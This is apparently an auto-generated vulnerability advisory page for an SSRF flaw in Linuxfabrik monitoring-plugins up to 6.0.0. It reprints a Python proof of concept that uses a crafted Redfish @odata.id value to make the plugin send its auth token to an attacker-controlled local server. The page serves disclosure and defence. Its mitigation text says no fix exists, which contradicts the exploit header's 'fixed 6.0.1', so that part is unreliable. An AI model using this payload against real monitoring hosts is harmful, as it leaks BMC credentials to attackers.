Linuxfabrik monitoring_plugins_6.0.0 - SSRF
An SSRF (Server-Side Request Forgery) vulnerability exists in Linuxfabrik monitoring-plugins version 6.0.0 and earlier. Exploit code is publicly available in Python, demonstrating the vulnerability. This issue affects Linux platforms running the vulnerable versions.
AI Analysis
Technical Summary
Linuxfabrik monitoring-plugins versions up to and including 6.0.0 contain a Server-Side Request Forgery (SSRF) vulnerability. SSRF allows an attacker to induce the server to make HTTP requests to arbitrary domains, potentially bypassing network restrictions or accessing internal resources. Exploit code has been published by the author 'Pig-Tail' in Python, confirming the vulnerability's practical exploitability on Linux systems.
Potential Impact
Successful exploitation of this SSRF vulnerability could allow an attacker to make unauthorized HTTP requests from the affected server to internal or external systems. This may lead to information disclosure or further network-based attacks depending on the internal network configuration. No evidence of active exploitation in the wild is currently known.
Mitigation Recommendations
No patch or official fix information is provided. Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, users should consider restricting network access from the monitoring-plugins service and monitor for suspicious activity related to SSRF attempts.
Indicators of Compromise
- exploit-code: # Exploit Title: Linuxfabrik monitoring_plugins_6.0.0 - SSRF # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/Linuxfabrik/monitoring-plugins # Software Link: https://github.com/Linuxfabrik/monitoring-plugins # Version: Linuxfabrik monitoring-plugins <= 6.0.0 (fixed 6.0.1) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-96fx-pqc3-28xv-monitoring-plugins An @odata.id value without a leading '/' rewrites the request authority; the plugin re-fetches with the Redfish Authorization header attached, leaking BMC credentials to an attacker host. Advisory: GHSA-96fx-pqc3-28xv. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (redfish_ssrf_token_poc.py) --- import http.server, json, subprocess, threading, os, sys BMC_PORT, EVIL_PORT = 18080, 18081 EVIL_HITS = [] TOKEN = 'SESSION-TOKEN-SECRET-abc123' class BMC(http.server.BaseHTTPRequestHandler): def _j(self, obj, extra=None): b=json.dumps(obj).encode(); self.send_response(200) self.send_header('Content-Type','application/json') if extra: for k,v in extra.items(): self.send_header(k,v) self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b) def do_POST(self): # session create -> issue token self._j({'@odata.id':'/redfish/v1/SessionService/Sessions/1'}, extra={'X-Auth-Token':TOKEN}) def do_GET(self): if self.path.endswith('/SessionService'): self._j({'SessionTimeout':600}) elif self.path.endswith('/Systems'): self._j({'Members':[{'@odata.id':f'@127.0.0.1:{EVIL_PORT}/pivot'}]}) else: self._j({'Members':[]}) def log_message(self,*a): pass class EVIL(http.server.BaseHTTPRequestHandler): def _rec(self): EVIL_HITS.append((self.command,self.path,self.headers.get('X-Auth-Token'),self.headers.get('Authorization'))) b=b'{"Members": []}'; self.send_response(200) self.send_header('Content-Type','application/json'); self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b) do_GET=_rec; do_POST=_rec def log_message(self,*a): pass def serve(port,h): httpd=http.server.ThreadingHTTPServer(('127.0.0.1',port),h) threading.Thread(target=httpd.serve_forever,daemon=True).start() serve(BMC_PORT,BMC); serve(EVIL_PORT,EVIL) env=dict(os.environ,PYTHONPATH='/opt') plugin='/mp/check-plugins/redfish-ethernetinterfaces/redfish-ethernetinterfaces' cmd=[sys.executable,plugin,'--url',f' http://127.0.0.1:{BMC_PORT}','--username','monitor','--password','pw','--cache-expire','1 '] p=subprocess.run(cmd,env=env,capture_output=True,text=True,timeout=60) print('plugin stdout:',p.stdout[:200]); print('plugin stderr:',p.stderr[:300]) print('EVIL hits:',len(EVIL_HITS)) for m,path,tok,auth in EVIL_HITS: print(f' {m} {path} X-Auth-Token={tok} Authorization={auth}') print('>>> TOKEN LEAKED TO ATTACKER HOST' if any(t==TOKEN for _,_,t,_ in EVIL_HITS) else '>>> token not leaked')
Linuxfabrik monitoring_plugins_6.0.0 - SSRF
Description
An SSRF (Server-Side Request Forgery) vulnerability exists in Linuxfabrik monitoring-plugins version 6.0.0 and earlier. Exploit code is publicly available in Python, demonstrating the vulnerability. This issue affects Linux platforms running the vulnerable versions.
Affected software
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Machine-generated threat intelligence
Technical Analysis
Linuxfabrik monitoring-plugins versions up to and including 6.0.0 contain a Server-Side Request Forgery (SSRF) vulnerability. SSRF allows an attacker to induce the server to make HTTP requests to arbitrary domains, potentially bypassing network restrictions or accessing internal resources. Exploit code has been published by the author 'Pig-Tail' in Python, confirming the vulnerability's practical exploitability on Linux systems.
Potential Impact
Successful exploitation of this SSRF vulnerability could allow an attacker to make unauthorized HTTP requests from the affected server to internal or external systems. This may lead to information disclosure or further network-based attacks depending on the internal network configuration. No evidence of active exploitation in the wild is currently known.
Mitigation Recommendations
No patch or official fix information is provided. Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, users should consider restricting network access from the monitoring-plugins service and monitor for suspicious activity related to SSRF attempts.
Technical Details
- Version
- Linuxfabrik monitoring-plugins <= 6.0.0
- Author
- Pig-Tail
- Platform
- Linux
- Edb Id
- 52653
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Linuxfabrik monitoring_plugins_6.0.0 - SSRF
# Exploit Title: Linuxfabrik monitoring_plugins_6.0.0 - SSRF # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/Linuxfabrik/monitoring-plugins # Software Link: https://github.com/Linuxfabrik/monitoring-plugins # Version: Linuxfabrik monitoring-plugins <= 6.0.0 (fixed 6.0.1) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-96fx-pqc3-28xv-monit... (2810 more characters)
Threat ID: 6a848d66c6e8be03327c892f
Added to database: 08/18/2026, 16:50:46 UTC
Last enriched: 08/18/2026, 16:51:24 UTC
Last updated: 08/18/2026, 16:51:24 UTC
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